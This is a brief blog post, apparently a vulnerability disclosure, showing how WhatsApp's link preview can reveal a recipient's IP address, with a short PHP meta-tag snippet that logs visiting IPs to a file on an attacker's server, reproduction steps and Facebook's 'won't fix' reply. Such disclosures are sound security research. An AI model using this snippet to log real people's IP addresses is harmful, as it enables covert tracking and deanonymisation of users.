Whatsapp user’s IP disclosure with Link Preview feature

Rahul Kankrale
Apr 18, 2018 · 1 min read

Simple php code can disclose Whatsapp users ip and app version and save disclosed information to attackers server.

Step to reproduce:

  1. Create php file and log file on server : Put below code for og meta description :

<meta property="og:description" content="<?php
echo $_SERVER[REMOTE_ADDR]; $line = date(’Y-m-d H:i:s’) . " - $_SERVER[REMOTE_ADDR]";echo $line;
file_put_contents(’visitors.log’, $line . PHP_EOL, FILE_APPEND);?>" />

2. Save this php file.

3. Open whatsapp and type this php files url in whatsapp, when link preview generated you can see IP get captured and same time this IP write over log file on attackers server.

  • WhatsApp Screenshot of Link Preview
  • Server log for captured IP.

Reported to Facebook

They replied that :

Not optimal the other alternative would be disabling previews (which probably would make more of our users unhappy).

So this will be Won’t fix., Thanks.

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store